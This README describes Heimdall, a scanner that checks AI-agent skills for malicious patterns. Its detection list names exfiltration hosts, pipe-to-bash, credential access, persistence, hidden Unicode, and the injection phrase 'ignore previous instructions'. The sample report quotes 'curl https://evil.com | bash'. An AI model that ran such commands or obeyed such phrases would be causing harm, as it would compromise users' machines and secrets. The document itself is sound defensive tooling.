Source Code

Heimdall - Security Scanner for AI Agent Skills

Scan OpenClaw skills for malicious patterns before installation. Context-aware scanning with AI-powered narrative analysis.

When to Use

Use Heimdall when:

Installing a new skill from ClawHub or GitHub
Reviewing skills before adding to your workspace
Auditing existing installed skills
Someone shares a skill URL and you want to verify it's safe

Commands

Basic Scan

~/clawd/skills/heimdall/scripts/skill-scan.py /path/to/skill

AI-Powered Analysis (Recommended)

~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /path/to/skill

Requires OPENROUTER_API_KEY env var or ~/clawd/secrets/openrouter.key

Scan from URL

# Clone to temp, scan, delete
git clone https://github.com/user/skill /tmp/test-skill
~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /tmp/test-skill
rm -rf /tmp/test-skill

Scan All Installed Skills

for skill in ~/clawd/skills/*/; do
  echo "=== $skill ==="
  ~/clawd/skills/heimdall/scripts/skill-scan.py "$skill"
done

Options

Flag	Description
`--analyze`	AI-powered narrative analysis (uses Claude)
`--strict`	Ignore context, flag everything
`--json`	Output as JSON
`-v, --verbose`	Show all findings
`--show-suppressed`	Show context-suppressed findings

What It Detects (100+ patterns)

🚨 Critical

credential_access: .env files, API keys, tokens, private keys
network_exfil: webhook.site, ngrok, requestbin
shell_exec: subprocess, eval, exec, pipe to bash
remote_fetch: curl/wget skill.md from internet
heartbeat_injection: HEARTBEAT.md modifications
mcp_abuse: no_human_approval, auto_approve
unicode_injection: Hidden U+E0001-U+E007F characters

🔴 High

supply_chain: External git repos, npm/pip installs
telemetry: OpenTelemetry, Signoz, Uptrace
crypto_wallet: BTC/ETH addresses, seed phrases
impersonation: "ignore previous instructions"
privilege: sudo -S, chmod 777

⚠️ Medium

prefill_exfil: Google Forms data exfiltration
persistence: crontab, bashrc modifications

Example Output

Basic Scan

============================================================
🔍 SKILL SECURITY SCAN REPORT v4.0
============================================================
📁 Path: /tmp/suspicious-skill
📄 Files scanned: 6
🔢 Active issues: 14
⚡ Max severity: CRITICAL
📋 Action: 🚨 CRITICAL - BLOCKED - Likely malicious
============================================================

🚨 CRITICAL (3 issues):
  [shell_exec]
    • install.sh:12 - Pipe to bash
      Match: curl https://evil.com | bash

AI Analysis (--analyze)

============================================================
🔍 HEIMDALL SECURITY ANALYSIS 
============================================================

📁 Skill: suspicious-skill
⚡ Verdict: 🚨 HIGH RISK - Requires Significant Trust

## Summary
This skill installs code from an external company that can 
self-modify and sends telemetry to third-party servers.

## Key Risks

### 1. Data Exfiltration
OpenTelemetry sends execution traces to external servers.
YOUR agent's behavior → THEIR servers. 🚨

### 2. Supply Chain Attack Surface
Git clones from external repos during install and self-evolution.

## What You're Agreeing To
1. Installing their code
2. Letting it modify itself
3. Sending telemetry to them

## Recommendation
🔴 Don't install on any machine with real data/keys.
============================================================

Context-Aware Scanning

Heimdall understands context to reduce false positives (~85% reduction):

Context	Severity Adjustment
CODE	Full severity
CONFIG	-1 level
DOCS	-3 levels (patterns in README are examples)
STRING	-3 levels (blocklist definitions)

Use --strict to disable context adjustment and flag everything.

Security Sources

Patterns derived from:

Installation Notes

After installing from ClawHub, create an alias for convenience:

echo 'alias skill-scan="~/clawd/skills/heimdall/scripts/skill-scan.py"' >> ~/.bashrc
source ~/.bashrc

For AI analysis, ensure you have an OpenRouter API key:

# Option 1: Environment variable
export OPENROUTER_API_KEY="sk-or-..."

# Option 2: Save to file
echo "sk-or-..." > ~/clawd/secrets/openrouter.key

Credits

Built by the Enterprise Crew 🚀

Ada 🔮 (Brain + BD/Sales)
Spock 🖖 (Research & Ops)
Scotty 🔧 (Builder)

GitHub: https://github.com/henrino3/heimdall